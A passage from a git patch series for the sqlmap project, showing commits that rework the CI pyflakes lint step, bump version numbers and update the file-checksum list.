]; then echo "$OUT"; exit 1; fi echo "pyflakes: clean" diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 5c317f377..a1f89d37c 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -6390db71c97ace5815b499d63ac08d22c8a97a1b6c5a1a610635a5e6e0af6740 lib/core/settings.py +0a0bd56ab8bdbbec8d51275b6bd9b3f483396acaaa6f15525036507cdb5d5bfa lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index f036781c0..8edfc68f8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.175" +VERSION = "1.10.6.176" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d6a754e8b2b731036b98400e88662b7df721b2be Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:28:18 +0200 Subject: [PATCH 082/165] Minor update --- .github/workflows/tests.yml | 2 +- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index fb89c420e..271ce8b9f 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -41,7 +41,7 @@ jobs: shell: bash run: | python -m pip install pyflakes - OUT=$(python -m pyflakes $(git ls-files '*.py' | grep -v '^thirdparty/') 2>&1 | grep -v ' redefines ') + OUT=$( (python -m pyflakes $(git ls-files '*.py' | grep -v '^thirdparty/') 2>&1 || true) | grep -v ' redefines ') if [ -n "$OUT" ]; then echo "$OUT"; exit 1; fi echo "pyflakes: clean" diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a1f89d37c..bce98ae51 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -0a0bd56ab8bdbbec8d51275b6bd9b3f483396acaaa6f15525036507cdb5d5bfa lib/core/settings.py +9b7f665fafa1a391fb213afa6d5016f0a21462fee771821a55c559376f34480b lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 8edfc68f8..be30b75ba 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.176" +VERSION = "1.10.6.177" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 1feb6f73b9fb13da19a6cb067c013c5a567aeded Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:30:35 +0200 Subject: [PATCH 083/165] Minor update --- .github/workflows/tests.yml | 3 ++- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 4 insertions(+), 3 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 271ce8b9f..29d68fb53 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -41,7 +41,8 @@ jobs: shell: bash run: | python -m pip install pyflakes - OUT=$( (python -m pyflakes $(git ls-files '*.py' | grep -v '^thirdparty/') 2>&1 || true) | grep -v ' redefines ') + OUT=$(git ls-files '*.py' | grep -v '^thirdparty/' | xargs python -m pyflakes 2>&1) || true + OUT=$(echo "$OUT" | grep -v ' redefines ') if [ -n "$OUT" ]; then echo "$OUT"; exit 1; fi echo "pyflakes: clean" diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index bce98ae51..c0c3b204d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -9b7f665fafa1a391fb213afa6d5016f0a21462fee771821a55c559376f34480b lib/core/settings.py +ad4e8f1a5cd72c74e8686a15e70195abcee977b1f874667af77ffca0614b35c5 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index be30b75ba..8ecbbd091 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.177" +VERSION = "1.10.6.178" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 60403f80df4a7041976089c956eddfa74e5f7479 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:33:31 +0200 Subject: [PATCH 084/165] Debugging CI/CD failure --- .github/workflows/tests.yml | 17 +++++++++++++---- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 15 insertions(+), 6 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 29d68fb53..ac714fbf6 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -40,11 +40,20 @@ jobs: - name: Pyflakes lint shell: bash run: | + set +e python -m pip install pyflakes - OUT=$(git ls-files '*.py' | grep -v '^thirdparty/' | xargs python -m pyflakes 2>&1) || true - OUT=$(echo "$OUT" | grep -v ' redefines ') - if [ -n "$OUT" ]; then echo "$OUT"; exit 1; fi - echo "pyflakes: clean" + python -c " +import subprocess, sys +files = subprocess.check_output(['git', 'ls-files', '*.py']).decode().splitlines() +files = [f for f in files if not f.startswith('thirdparty/')] +p = subprocess.Popen([sys.executable, '-m', 'pyflakes'] + files, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) +out, _ = p.communicate() +lines = [l for l in out.decode().splitlines() if ' redefines ' not in l] +if lines: + print('\n'.join(lines)) + sys.exit(1) +print('pyflakes: clean') +" - name: Basic import test run: python -c "import sqlmap; import sqlmapapi" diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index c0c3b204d..0d50cd9de 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -ad4e8f1a5cd72c74e8686a15e70195abcee977b1f874667af77ffca0614b35c5 lib/core/settings.py +5210684c1d6eecef0305077b22809569595ed039e3c1852ceeeb78338d8fa9b2 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 8ecbbd091..85595cb29 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.178" +VERSION = "1.10.6.179" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From ca755467de665849b42e021eac48507f3c760425 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:34:54 +0200 Subject: [PATCH 085/165] Debugging CI/CD failure --- .github/workflows/tests.yml | 13 +------------ data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 3 insertions(+), 14 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index ac714fbf6..07447eb46 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -42,18 +42,7 @@ jobs: run: | set +e python -m pip install pyflakes - python -c " -import subprocess, sys -files = subprocess.check_output(['git', 'ls-files', '*.py']).decode().splitlines() -files = [f for f in files if not f.startswith('thirdparty/')] -p = subprocess.Popen([sys.executable, '-m', 'pyflakes'] + files, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) -out, _ = p.communicate() -lines = [l for l in out.decode().splitlines() if ' redefines ' not in l] -if lines: - print('\n'.join(lines)) - sys.exit(1) -print('pyflakes: clean') -" + python -c 'import subprocess, sys; files = subprocess.check_output(["git", "ls-files", "*.py"]).decode().splitlines(); files = [f for f in files if not f.startswith("thirdparty/")]; p = subprocess.Popen([sys.executable, "-m", "pyflakes"] + files, stdout=subprocess.PIPE, stderr=subprocess.STDOUT); out, _ = p.communicate(); lines = [l for l in out.decode().splitlines() if " redefines " not in l]; sys.exit(1) if lines else None; print("pyflakes: clean")' - name: Basic import test run: python -c "import sqlmap; import sqlmapapi" diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 0d50cd9de..5a80d7309 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -5210684c1d6eecef0305077b22809569595ed039e3c1852ceeeb78338d8fa9b2 lib/core/settings.py +b7fd9d9f7857bf73ffc87c607c9f4c6585b50b0793775b9757b72df8eef3e28c lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 85595cb29..989461478 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.179" +VERSION = "1.10.6.180" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 24e26d102a75b745fd7108a7f2b66a35be95877e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:40:05 +0200 Subject: [PATCH 086/165] Debugging CI/CD failure --- .github/workflows/tests.yml | 47 ++++++++++++++++++++++++++++++++++--- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 46 insertions(+), 5 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 07447eb46..02e776969 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -40,9 +40,50 @@ jobs: - name: Pyflakes lint shell: bash run: | - set +e - python -m pip install pyflakes - python -c 'import subprocess, sys; files = subprocess.check_output(["git", "ls-files", "*.py"]).decode().splitlines(); files = [f for f in files if not f.startswith("thirdparty/")]; p = subprocess.Popen([sys.executable, "-m", "pyflakes"] + files, stdout=subprocess.PIPE, stderr=subprocess.STDOUT); out, _ = p.communicate(); lines = [l for l in out.decode().splitlines() if " redefines " not in l]; sys.exit(1) if lines else None; print("pyflakes: clean")' + python - <<'PY' + from __future__ import print_function + + import subprocess + import sys + + subprocess.check_call([ + sys.executable, "-m", "pip", "install", "pyflakes" + ]) + + files = subprocess.check_output( + ["git", "ls-files", "*.py"] + ).decode("utf-8").splitlines() + + files = [ + f for f in files + if not f.startswith("thirdparty/") + ] + + proc = subprocess.Popen( + [sys.executable, "-m", "pyflakes"] + files, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + ) + out, _ = proc.communicate() + + text = out.decode("utf-8", "replace") + lines = [ + line for line in text.splitlines() + if " redefines " not in line + ] + + if lines: + print("\n".join(lines)) + sys.exit(1) + + if proc.returncode not in (0, 1): + if text: + print(text) + print("pyflakes failed unexpectedly with status %s" % proc.returncode) + sys.exit(proc.returncode or 1) + + print("pyflakes: clean") + PY - name: Basic import test run: python -c "import sqlmap; import sqlmapapi" diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 5a80d7309..a0adaf334 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -b7fd9d9f7857bf73ffc87c607c9f4c6585b50b0793775b9757b72df8eef3e28c lib/core/settings.py +968c2fced6e80aba7dd586c22252d332cc249d58e9290abb51d5bb8f4abb193a lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 989461478..23f7d1055 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.180" +VERSION = "1.10.6.181" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 70efdfdc6b7552e72885d8c95e86bce8ba60c0c4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:41:45 +0200 Subject: [PATCH 087/165] Checking if pyflakes really works in CI/CD --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- sqlmap.py | 1 + 3 files changed, 4 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a0adaf334..ae2c87024 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -968c2fced6e80aba7dd586c22252d332cc249d58e9290abb51d5bb8f4abb193a lib/core/settings.py +749e12c309222b25b4b859d94c370fa7dd6049053eace51092ad739eb3c284c2 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -504,7 +504,7 @@ cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generi 46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc sqlmapapi.py f09d1b06901e7e02d0dbf4de607f6a4a9889acc322ae9353b98ea9101fb9548a sqlmapapi.yaml 627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf -41fa63d55909cf00a0bb02e979c4f2c0ad7df4b32a89374150772b247fa96fc2 sqlmap.py +009b66f76594ed3e338c47f443143335a97be84b824e05f87b6690df4f8df0dd sqlmap.py eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 23f7d1055..6bdb3063c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.181" +VERSION = "1.10.6.182" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index 3667ca270..56fc47c21 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -32,6 +32,7 @@ try: import traceback import warnings + from io import * try: ResourceWarning except NameError: From 6bbcd4a28a920289136742f4ce4ac19ef3c337ac Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:42:39 +0200 Subject: [PATCH 088/165] Fixing CI/CD failure --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- sqlmap.py | 1 - 3 files changed, 3 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ae2c87024..9d62834ac 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -749e12c309222b25b4b859d94c370fa7dd6049053eace51092ad739eb3c284c2 lib/core/settings.py +4a8147959fcee12f902d4bbd2b6018ca8f04f62a92e58d62561daf49bd0f6303 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -504,7 +504,7 @@ cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generi 46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc sqlmapapi.py f09d1b06901e7e02d0dbf4de607f6a4a9889acc322ae9353b98ea9101fb9548a sqlmapapi.yaml 627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf -009b66f76594ed3e338c47f443143335a97be84b824e05f87b6690df4f8df0dd sqlmap.py +41fa63d55909cf00a0bb02e979c4f2c0ad7df4b32a89374150772b247fa96fc2 sqlmap.py eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 6bdb3063c..8df228f64 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.182" +VERSION = "1.10.6.183" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index 56fc47c21..3667ca270 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -32,7 +32,6 @@ try: import traceback import warnings - from io import * try: ResourceWarning except NameError: From 8676166acd99263f9c8162a5af8b6efd2c6e4b8e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:48:53 +0200 Subject: [PATCH 089/165] Polishing CI/CD pipeline --- .github/workflows/tests.yml | 4 ++++ data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 6 insertions(+), 2 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 02e776969..ed87f885d 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -4,6 +4,10 @@ on: pull_request: branches: [ master ] +concurrency: + group: ci-${{ github.ref }} + cancel-in-progress: true + permissions: contents: read diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 9d62834ac..ccc936619 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -4a8147959fcee12f902d4bbd2b6018ca8f04f62a92e58d62561daf49bd0f6303 lib/core/settings.py +40af34c5f871067ef8b6cc6580a1fb6d18bbc9483a3e6de51797c7c2d6c06425 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 8df228f64..9dd347ed2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.183" +VERSION = "1.10.6.184" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From b933ff3f6310b1b1b379a6a9d184245e70ac11a5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:52:29 +0200 Subject: [PATCH 090/165] Polishing CI/CD pipeline --- .github/workflows/tests.yml | 1 + data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index ed87f885d..e5629645b 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -3,6 +3,7 @@ on: branches: [ master ] pull_request: branches: [ master ] + workflow_dispatch: concurrency: group: ci-${{ github.ref }} diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ccc936619..8767f793a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -40af34c5f871067ef8b6cc6580a1fb6d18bbc9483a3e6de51797c7c2d6c06425 lib/core/settings.py +1a569b5bcd33ae45d95c140fd3bae2f12ad54640d938172de3cb99f73a549b47 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 9dd347ed2..bb3a3ada1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.184" +VERSION = "1.10.6.185" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From cb20a446ae5f21c2cc32442ccacde0be0b3060b7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 14:28:42 +0200 Subject: [PATCH 091/165] Update of unit tests --- .github/workflows/tests.yml | 8 + .gitignore | 1 